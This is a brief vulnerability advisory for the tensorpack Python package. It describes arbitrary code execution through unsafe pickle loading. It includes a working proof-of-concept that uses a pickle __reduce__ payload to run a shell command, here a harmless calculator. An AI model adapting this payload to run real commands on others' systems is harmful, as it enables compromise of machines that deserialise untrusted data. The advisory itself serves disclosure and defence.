tensorpack

vulnerability arbitrary code execution
severity 3.8
language python
registry pypi

Description

Tensorpack is a neural network training interface based on TensorFlow.

  • Vulnerability description untrusted loading of data by the pickle.load function leading to Arbitrary code execution.

Proof of Concept

Run exploit.py

import os
import pickle
#os.system('pip3 install tensorpack')
from tensorpack.utils import serialize
#payload formation
class ArbitraryCode:
    def __reduce__(self):
        cmd = ('xcalc')
        return os.system, (cmd,)
dumps = pickle.dumps(ArbitraryCode())
serialize.PickleSerializer.loads(dumps)
  • pip3 install tensorpack
  • python3 exploit.py

References